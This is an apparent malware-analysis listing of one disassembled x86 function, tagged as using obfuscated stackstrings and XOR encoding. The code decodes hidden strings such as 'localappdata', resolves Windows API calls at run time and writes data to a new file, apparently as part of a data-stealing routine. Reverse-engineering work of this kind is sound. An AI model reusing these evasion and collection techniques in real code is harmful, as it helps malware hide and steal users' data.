Function at 0x40cc85
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push 0x364
mov eax, 0x41a5af
call fcn.0041974f
lea ecx, [ebp - 0x370]
xor ebx, ebx
call fcn.0040380e
mov al, 0x2a
mov dword [ebp - 0x12c], 0x6d79762a
mov dword [ebp - 0x128], 0x7a6b766b
mov ecx, ebx
mov dword [ebp - 0x124], 0x7e6b6e7a
mov word [ebp - 0x120], 0x6b
movsx eax, al
and eax, 0x8000000f
jns 0x40ccdb
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x12b], al
inc ecx
cmp ecx, 0xc
jae 0x40ccf0
mov al, byte [ebp - 0x12c]
jmp 0x40cccc
mov edx, dword [ebp - 0x27c]
lea eax, [ebp - 0x118]
push 0x104
push eax
mov byte [ebp - 0x11f], bl
lea eax, [ebp - 0x12b]
mov ebx, dword [ebp - 0x370]
mov ecx, ebx
push eax
call fcn.004064a5
call eax
test eax, eax
je 0x40d1ce
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x194]
call fcn.004035da
xor edx, edx
mov dword [ebp - 4], edx
mov ecx, edx
movaps xmm0, xmmword [0x402120]
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x140], 0x6f4f4e43
mov dword [ebp - 0x13c], 0x54a5f4a
mov word [ebp - 0x138], 0x494f
mov byte [ebp - 0x136], dl
mov al, byte [ebp - 0x150]
xor byte [ebp + ecx - 0x14f], al
inc ecx
cmp ecx, 0x19
jb 0x40cd70
lea ecx, [ebp - 0x14f]
mov byte [ebp - 0x136], dl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cd92
sub ecx, edx
lea eax, [ebp - 0x14f]
push ecx
push eax
lea ecx, [ebp - 0x194]
call fcn.00404849
cmp dword [ebp - 0x180], 0xf
lea eax, [ebp - 0x194]
mov edx, dword [ebp - 0x308]
mov ecx, ebx
cmova eax, dword [ebp - 0x194]
push eax
call fcn.004064a5
call eax
cmp eax, 0xffffffff
je 0x40d1c3
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.0040476b
push 0x48
mov byte [ebp - 4], 1
call fcn.00418960
mov esi, eax
mov dword [ebp - 0x274], esi
sub esp, 0x14
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x278], esp
mov edi, ecx
push 0xf
pop edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ecx + 0x10], 0
mov dword [ecx + 0x14], edx
mov byte [ecx], 0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], edx
cmova eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004035da
lea eax, [ebp - 0x26d]
mov byte [ebp - 4], 2
push eax
mov ecx, esi
call fcn.00404b21
mov byte [ebp - 4], 1
mov esi, eax
cmp byte [ebp - 0x26d], 0
je 0x40d1b8
mov al, 0x77
mov dword [ebp - 0x128], 0x6e767377
mov dword [ebp - 0x124], 0x6a667570
xor ecx, ecx
mov dword [ebp - 0x120], 0x6c6f6a68
mov byte [ebp - 0x11c], 0
movsx eax, al
and eax, 0x8000000f
jns 0x40ce9f
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x127], al
inc ecx
cmp ecx, 0xb
jae 0x40ceb4
mov al, byte [ebp - 0x128]
jmp 0x40ce90
sub esp, 0x18
mov byte [ebp - 0x11c], 0
lea eax, [ebp - 0x127]
mov ecx, esp
push eax
call fcn.004035da
mov ecx, esi
call fcn.0040bd5c
test al, al
je 0x40d1b8
push 2
push 0
lea eax, [ebp - 0x150]
mov ecx, esi
push eax
call fcn.0040c074
mov dword [ebp - 0x274], eax
push 1
push 0
lea eax, [ebp - 0x26c]
mov byte [ebp - 4], 4
push eax
mov ecx, esi
call fcn.0040c074
mov dword [ebp - 0x278], eax
push 0
push 0
lea eax, [ebp - 0x254]
mov byte [ebp - 4], 5
push eax
mov ecx, esi
call fcn.0040c074
mov edi, eax
mov byte [ebp - 4], 6
mov dl, 0x58
mov dword [ebp - 0x134], 0x75695658
xor ecx, ecx
mov dword [ebp - 0x130], 0x28426d
movsx eax, dl
and eax, 0x8000000f
jns 0x40cf52
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x133], al
inc ecx
cmp ecx, 6
jae 0x40cf67
mov dl, byte [ebp - 0x134]
jmp 0x40cf43
push edi
lea edx, [ebp - 0x133]
mov byte [ebp - 0x12d], 0
lea ecx, [ebp - 0x23c]
call fcn.00409d8f
pop ecx
mov edx, eax
mov byte [ebp - 4], 7
xor ecx, ecx
movaps xmm0, xmmword [0x401d80]
movups xmmword [ebp - 0x12c], xmm0
mov byte [ebp - 0x11c], 0
mov al, byte [ebp - 0x12c]
xor byte [ebp + ecx - 0x12b], al
inc ecx
cmp ecx, 0xf
jb 0x40cf9e
lea eax, [ebp - 0x12b]
mov byte [ebp - 0x11c], 0
push eax
lea ecx, [ebp - 0x224]
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1f4]
push dword [ebp - 0x278]
push eax
push dword [ebp - 0x130]
call fcn.00409dc2
mov byte [ebp - 4], 9
xor ecx, ecx
movaps xmm0, xmmword [0x401c40]
movups xmmword [ebp - 0x12c], xmm0
mov al, byte [ebp - 0x12c]
xor byte [ebp + ecx - 0x12b], al
inc ecx
cmp ecx, 0xe
jb 0x40cffb
lea eax, [ebp - 0x12b]
mov byte [ebp - 0x11d], 0
push eax
lea edx, [ebp - 0x1f4]
lea ecx, [ebp - 0x20c]
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1ac]
push dword [ebp - 0x274]
push eax
push dword [ebp - 0x130]
call fcn.00409dc2
lea ecx, [ebp - 0x20c]
call fcn.0040357e
lea ecx, [ebp - 0x1f4]
call fcn.0040357e
lea ecx, [ebp - 0x224]
call fcn.0040357e
lea ecx, [ebp - 0x23c]
call fcn.0040357e
lea ecx, [ebp - 0x254]
call fcn.0040357e
lea ecx, [ebp - 0x26c]
call fcn.0040357e
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x12
call fcn.0040357e
movaps xmm0, xmmword [0x401cd0]
xor ecx, ecx
movups xmmword [ebp - 0x17c], xmm0
mov dword [ebp - 0x15c], 0x163d342c
movaps xmm0, xmmword [0x401f20]
movups xmmword [ebp - 0x16c], xmm0
mov dword [ebp - 0x158], 0x2c762c3d
mov word [ebp - 0x154], 0x2c20
mov byte [ebp - 0x152], 0
mov al, byte [ebp - 0x17c]
xor byte [ebp + ecx - 0x17b], al
inc ecx
cmp ecx, 0x29
jb 0x40d0dd
lea eax, [ebp - 0x17b]
mov byte [ebp - 0x152], 0
push eax
lea ecx, [ebp - 0x1c4]
call fcn.004035da
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x1c4]
cmp dword [ebp - 0x1b0], 0xf
mov edx, dword [ebp - 0x344]
cmova eax, dword [ebp - 0x1c4]
xor ecx, ecx
push ecx
push 0x80
push 2
push ecx
push ecx
push 0x40000000
push eax
mov ecx, ebx
call fcn.004064a5
call eax
mov edi, eax
cmp edi, 0xffffffff
je 0x40d18d
cmp dword [ebp - 0x198], 0xf
lea eax, [ebp - 0x130]
push 0
push eax
push dword [ebp - 0x19c]
lea edx, [ebp - 0x1ac]
mov ecx, ebx
cmova edx, dword [ebp - 0x1ac]
push edx
mov edx, dword [ebp - 0x288]
push edi
call fcn.004064a5
call eax
mov edx, dword [ebp - 0x348]
mov ecx, ebx
push edi
call fcn.004064a5
call eax
test esi, esi
je 0x40d1a2
mov ecx, esi
call fcn.00405622
push 0x48
push esi
call fcn.00418990
pop ecx
pop ecx
lea ecx, [ebp - 0x1c4]
call fcn.0040357e
lea ecx, [ebp - 0x1ac]
call fcn.0040357e
lea ecx, [ebp - 0x1dc]
call fcn.0040357e
lea ecx, [ebp - 0x194]
call fcn.0040357e
call fcn.0041970d
ret